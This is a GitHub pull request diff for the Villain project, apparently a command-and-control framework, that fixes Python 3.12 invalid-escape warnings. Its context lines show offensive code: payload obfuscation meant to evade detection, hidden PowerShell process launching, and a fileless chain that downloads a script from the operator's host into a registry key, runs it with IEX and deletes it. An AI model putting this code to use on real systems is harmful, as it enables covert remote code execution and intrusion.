Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Python3.12 invalid escape warning message #149

Merged
merged 2 commits into from
Jul 6, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 9 additions & 9 deletions Core/villain_core.py
Original file line number Diff line number Diff line change
Expand Up @@ -295,7 +295,7 @@ def mask_char(self, char):
if path == 1:
return char

return '\w' if path == 2 else f'({char}|\\?)'
return '\\w' if path == 2 else f'({char}|\\?)'



Expand All @@ -304,7 +304,7 @@ def mask_char(self, char):
if path == 1:
return char

return '\d' if path == 2 else f'({char}|\\?)'
return '\\d' if path == 2 else f'({char}|\\?)'



Expand All @@ -316,7 +316,7 @@ def mask_char(self, char):
if path == 1:
return char

return '\W' if path == 2 else f'({char}|\\?)'
return '\\W' if path == 2 else f'({char}|\\?)'

else:
return None
Expand All @@ -331,7 +331,7 @@ def randomize_case(self, string):
def string_to_regex(self, string):

# First check if string is actually a regex
if re.match( "^\[.*\}$", string):
if re.match( "^\\[.*\\}$", string):
return string

else:
Expand Down Expand Up @@ -451,7 +451,7 @@ def get_rand_var_name(self):
def mask_payload(self, payload):

# Obfuscate variable name definitions
variables = re.findall("\$[A-Za-z0-9_]*={1}", payload)
variables = re.findall("\\$[A-Za-z0-9_]*={1}", payload)

if variables:

Expand Down Expand Up @@ -505,7 +505,7 @@ def mask_payload(self, payload):


# Randomize the case of each char in parameter names
ps_parameters = re.findall("\s-[A-Za-z]*", payload)
ps_parameters = re.findall("\\s-[A-Za-z]*", payload)

if ps_parameters:
for param in ps_parameters:
Expand Down Expand Up @@ -2786,7 +2786,7 @@ def validate_hostname(self, hostname):
if hostname[-1] == ".":
hostname = hostname[:-1]

allowed = re.compile("(?!-)[A-Z\d-]{1,63}(?<!-)$", re.IGNORECASE)
allowed = re.compile("(?!-)[A-Z\\d-]{1,63}(?<!-)$", re.IGNORECASE)
return all(allowed.match(x) for x in hostname.split("."))


Expand Down Expand Up @@ -2937,7 +2937,7 @@ def get_uname_from_zsh_response(self, res):
def search_cmd_for_signature(self, cmd):

try:
sibling_server_id = re.findall("[\S]{1,2}echo '{[a-zA-Z0-9]{32}}'", cmd)[-1]
sibling_server_id = re.findall("[\\S]{1,2}echo '{[a-zA-Z0-9]{32}}'", cmd)[-1]
sibling_server_id = sibling_server_id.split('echo ')[1].strip('{}\'')

except:
Expand Down Expand Up @@ -3056,7 +3056,7 @@ def new_process_wrapper(execution_object, session_id):
if shell_type:

if shell_type == 'powershell.exe':
return 'Start-Process $PSHOME\powershell.exe -ArgumentList {' + execution_object + '} -WindowStyle Hidden'
return 'Start-Process $PSHOME\\powershell.exe -ArgumentList {' + execution_object + '} -WindowStyle Hidden'

elif shell_type == 'cmd.exe':
return 'start "" cmd /k "' + execution_object + '"'
Expand Down
12 changes: 6 additions & 6 deletions Villain.py
Original file line number Diff line number Diff line change
Expand Up @@ -692,7 +692,7 @@ def complete(self, text, state):

word_frag = line_buffer_list[-1].lower()

if re.search('payload=[\w\/\\\]{0,}', word_frag):
if re.search('payload=[\\w\\/\\\\]{0,}', word_frag):

tmp = word_frag.split('=')

Expand Down Expand Up @@ -962,8 +962,8 @@ def villain_out(flee = False):


# Handle single/double quoted arguments
quoted_args_single = re.findall("'{1}[\s\S]*'{1}", user_input)
quoted_args_double = re.findall('"{1}[\s\S]*"{1}', user_input)
quoted_args_single = re.findall("'{1}[\\s\\S]*'{1}", user_input)
quoted_args_double = re.findall('"{1}[\\s\\S]*"{1}', user_input)
quoted_args = quoted_args_single + quoted_args_double

if len(quoted_args):
Expand Down Expand Up @@ -1429,9 +1429,9 @@ def villain_out(flee = False):
rand_key = get_random_str(5)
value_name = get_random_str(5)
script_src = f'http://{lhost}:{File_Smuggler_Settings.bind_port}/{ticket}'
reg_polution = f'New-Item -Path "HKCU:\SOFTWARE\{rand_key}" -Force | Out-Null;New-ItemProperty -Path "HKCU:\SOFTWARE\{rand_key}" -Name "{value_name}" -Value $(IRM -Uri {script_src} -UseBasicParsing) -PropertyType String | Out-Null;'
exec_script = f'(Get-ItemPropertyValue -Path "HKCU:\SOFTWARE\{rand_key}\" -Name "{value_name}" | IEX) | Out-Null'
remove_src = f'Remove-Item -Path "HKCU:\Software\{rand_key}" -Recurse'
reg_polution = f'New-Item -Path "HKCU:\\SOFTWARE\\{rand_key}" -Force | Out-Null;New-ItemProperty -Path "HKCU:\\SOFTWARE\\{rand_key}" -Name "{value_name}" -Value $(IRM -Uri {script_src} -UseBasicParsing) -PropertyType String | Out-Null;'
exec_script = f'(Get-ItemPropertyValue -Path "HKCU:\\SOFTWARE\\{rand_key}\" -Name "{value_name}" | IEX) | Out-Null'
remove_src = f'Remove-Item -Path "HKCU:\\Software\\{rand_key}" -Recurse'
new_proc = Exec_Utils.new_process_wrapper(f"{exec_script}; {func_name}; {remove_src}", session_id)
execution_object = Exec_Utils.ps_try_catch_wrapper(f'{reg_polution};{exec_script};({new_proc})', error_action = remove_src)

Expand Down